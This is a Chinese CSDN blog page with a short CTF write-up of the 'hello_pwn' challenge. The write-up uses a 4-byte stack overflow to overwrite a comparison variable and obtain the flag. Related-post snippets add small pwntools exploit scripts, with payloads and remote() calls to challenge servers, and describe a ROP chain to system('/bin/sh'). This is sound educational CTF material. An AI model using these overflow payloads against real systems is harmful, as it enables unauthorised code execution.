hello_pwn

最新推荐文章于 2024-07-26 15:25:27 发布
最新推荐文章于 2024-07-26 15:25:27 发布
阅读量408 收藏 1
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/wuyvle/article/details/112973912
版权

hello_pwn

老惯例放进Linux康康

在这里插入图片描述
可见是个64位，且没有金丝雀（狂喜 ）
放进ida64康康
在这里插入图片描述
这有个read函数，进去康康
分析main函数 要使dword_60106C == 1853186401 才能得到flag
但我们只能给unk_601068赋值，怎么办？
这就用上栈溢出了，让我们再看看堆栈
在这里插入图片描述
两者之间差（ox6c-0x68）这之间数据填满；让unk_601068的值占到dword_60106C的位置
开始写脚本
在这里插入图片描述
比较简单

w0nderMaker
关注
初学pwn-攻防世界(hello_pwn)
天柱的博客
08-26 3470
初学pwn-writeUp 攻防世界的第二道题目，hello_pwn。 首先创建场景，使用nc进入远端，发现他只输出了一串字符串，没有别的内容，也无法使用ls查看它的文件。 下载场景提供的文件，使用cat查看，发现是ELF文件，按照大佬的流程，ELF文件直接用ida打开。 初次使用ida，深切的感受到了ida的强大。 打开之后，按F5，进行反编译，可以看到main函数的伪代码 可以从main函数中看到，这里存在一个判断，如果条件达成的话，会调用一个函数。点开函数看一下。 可以发现里边会输出flag.tx
攻防世界pwn新手练习（hello_pwn）
BurYiA的博客
10-24 3743
hello_pwn 拿到程序后，我们首先checksec一下 可以看到是64位程序，好的是这次只开了NX(堆栈不可执行)，ok，我们跑一下程序看看 可以看到它是一个输入，然后就啥都没有了emmmm…好吧，咱们继续放到IDA里面看看 ...
hello pwn
Fiverya的博客
03-08 463
首先打开IDA，拖入程序 可以看到一个很简单的程序。 getshell函数如下： getshell 函数地址： 在hello函数处下断点： 调试到read处，确定溢出点。 payload如下： ...
攻防世界XCTF-Pwn入门11题解题报告
最新发布
HUANGXIN9898的博客
07-26 736
Pwn是CTF中至关重要的项目，一般来说都是Linux二进制题目，零基础的同学可以看《程序员的自我修养》，主要题型包括：缓冲区溢出、Return to Libc、格式化字符串、PLT GOT等。
攻防世界-PWN-hello_pwn
安全知识学习-该平台为唯一原作者平台，其他平台属冒名顶替，请勿相信上当受骗
09-24 504
开始进军PWN题 目录 分析 拖入IDA exp 分析 使用 file 和 checksec（查看程序的保护机制） 指令分析文件 x86-64 架构 Linux可执行文件ELF checksec参数 Arch 程序架构信息。这里是amd64-64的 RELRO 主要针对 GOT 改写的攻击方式的保护 RELRO为” Partial RELRO”，说明我们对GOT表具有写权限。 这里也没作保护 Stack 栈保护 这里没有启用 NX 栈没有执行权限 这里是打开的 PI.
攻防世界pwn新手练习区-hello_pwn
CSDN_sunrise的博客
08-28 750
hello_pwn查看基本信息并运行文件 查看基本信息并运行文件
【攻防世界pwn-hello_pwn】
a_silly_coder的博客
01-16 1941
下载文件后，首先检查保护： 将文件拖入64位ida，查看代码 基本逻辑是：读取一个输入，存入unk_601068，接着比较dword_60106C是否等于一个预期的值，如果相等，执行对应函数，函数内直接执行cat flag.txt 所以思路就是需要覆盖dword_60106C，让其等于预期值，此时我们需要在输入unk_601068时，对dword_60106C进行覆盖，接着我们查看这两个值的存放位置。 发现这两个值之间相隔4个字节，所以需要4个字节的填充数据，接着输入预期值。..
Pwn
bluestar628的博客
07-11 2476
Pwn1拿到程序IDA分析发现就是一个输入字符串，长度大于0x500就直接执行cat flag。虽然溢出了，但是和溢出没有太大关系所以利用代码如下：from pwn import * p = remote ("139.224.220.67" ,30004) payload = 'a'*0x501 p.sendline(payload) p.interactive()Pwn2打开IDA分析，是一个经...
[CTF-PWN]攻防世界新手村-hello_pwn[wp]
murongxuege的博客
10-01 2590
事件起因(无语) 手残博主因在27日从根地址误删了自己两年半配置和使用的kali虚拟机。。。在一步步恢复环境配置的时候，从头到尾刷一遍题，总结思路。 题目分析 开启场景后，服务端会开启对应的端口，并在端口上部署和附件相同的ELF二进制可执行文件，我们要做的就是下载附件并在本地进行反汇编，反编译等操作分析程序漏洞，从而利用漏洞获取题目的flag。 从描述中可以看出当前程序是要进行年龄的输入操作的，有输入操作，还是在新手村，那么大概率是gets()等C函数输入漏洞，进一步猜测是普通的内存地址覆盖的题。 che
CTF|栈溢出入门题hellopwn解题思路
skyattractive的博客
05-31 1658
CTF|栈溢出入门题hellopwn解题思路及个人总结 解题思路 将题目下载下来后拖入虚拟机ubuntu中，利用checksec hellopwn 查到有关文件保护信息 NX enabled 表示这个文件NX保护已经打开（个人总结会写各种保护） 输入./hellopwn命令行将文件运行 走一边流程，发现程序很简单 拖入IDA 按照往常一样去找栈溢出的地方，这里我们找到了read这个函数，读入10个字节 （伪代码中一些函数和变量的名字我自行修改了，方便观看） 题意很明显，我们只需让v2等于1853186
攻防世界 hello_pwn
西部壮仔的博客
06-27 1277
从题上可以看出当dword_60106C的值为1853186401的时候就会执行sub_400686()函数 执行这个函数会得到我们想要的flag 先看一下这个程序的保护机制 、 exp的内容就是 from pwn import * p = process("./hello_pwn") p.recvuntil('lets get helloworld for bof\n') payl...
攻防世界 - pwn - hello_pwn
qq726232111的博客
03-16 494
A、程序分析 1、缓冲区地址为601068h 2、判断条件 --> 60106Ch为起始地址 ， 存储6E756161h 3、判断条件成立执行cat flag B、利用分析 1、601068h -60106Bh --> 4byte 填充数据 60106Ch - 60106Fh --> 4byte 判断条件 0x6E756161 ...
hellopwn
4HftysN
08-01 311
hello pwn 查看源码 程序整体流程上是让dword_60106c =1853186401 根据read函数可知 输入时进的是unk_601068 使read溢出 unk_601068覆盖dword_60106c即可 可以看到他俩相差四个字节 payload=‘a’*4+p32（1853186401） exp # coding=utf-8 from pwn import * p = r...
hello_pwn [XCTF-PWN]CTF writeup系列4
重新启程
12-19 649
题目：hello_pwn 先看下题目 照例，检查一下保护情况，反编译程序 root@mypwn:/ctf/work/python# checksec c0a6dfb32cc7488a939d8c537530174d [*] '/ctf/work/python/c0a6dfb32cc7488a939d8c537530174d' Arch: amd64-64-little...
hello_pwn(xctf)
weixin_43868725的博客
05-06 626
0x0 程序保护和流程 保护： 流程： subsub_400686(): 当dword_60106C = 1853186401 时进入subsub_400686()函数获得flag。 0x1 利用 仔细分析后可以发现 两个数据是相邻的，我们可以通过read函数改写dword_60106C的值从而获得flag。unk_601068和dword_60106C 只相差四个字节，read函数可以输...
[攻防世界 pwn]——hello_pwn
Y_peak的博客
02-18 320
[攻防世界 pwn]——hello_pwn15 题目地址: https://adworld.xctf.org.cn/ 题目: checksec IDA， 利用栈溢出修改dword_60106C就好距离为4 exploit from pwn import * #p = process("./pwn") p = remote("111.200.241.244",35304) payload = 'a'*4 + p64(0x6e756161) p.sendline(payload) p.inter
攻防世界 pwn 新手练习区 hello_pwn
ChaoYue_miku的博客
07-06 531
题目来源： NUAACTF 题目描述：pwn！，segment fault！菜鸡陷入了深思 ** 0、下载附件，使用checksec检查保护情况，尝试打开文件 ** 开启了NX部分RELRO ** 1、使用IDA 64 Pro打开文件 ** 查看main函数 发现了一个read函数，查看一下unk_601068的栈结构 这里是存在栈溢出的，只要覆盖4个字节的内容就可以更改dword_60106C的内容。 接着往后查看main函数： 有一个if条件判断，只要满足dword_60106C == 18531
xdctf2015_pwn200
09-03
xdctf2015_pwn200是一道CTF比赛中的题目，是一个二进制漏洞利用题目。从代码中可以看出，它利用了一个栈溢出漏洞来实现攻击。在攻击过程中，首先使用write函数的got地址来泄露出libc中write函数的真实地址，然后通过计算偏移量得到libc的基址，进而计算出system函数和/bin/sh字符串的地址。最后，通过构造ROP链来调用system函数，并将/bin/sh字符串作为参数传入，从而获取shell权限。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [[BUUCTF]PWN——xdctf2015_pwn200](https://blog.csdn.net/mcmuyanga/article/details/109622553)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [xdctf2015_pwn200](https://blog.csdn.net/weixin_44309300/article/details/130628776)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值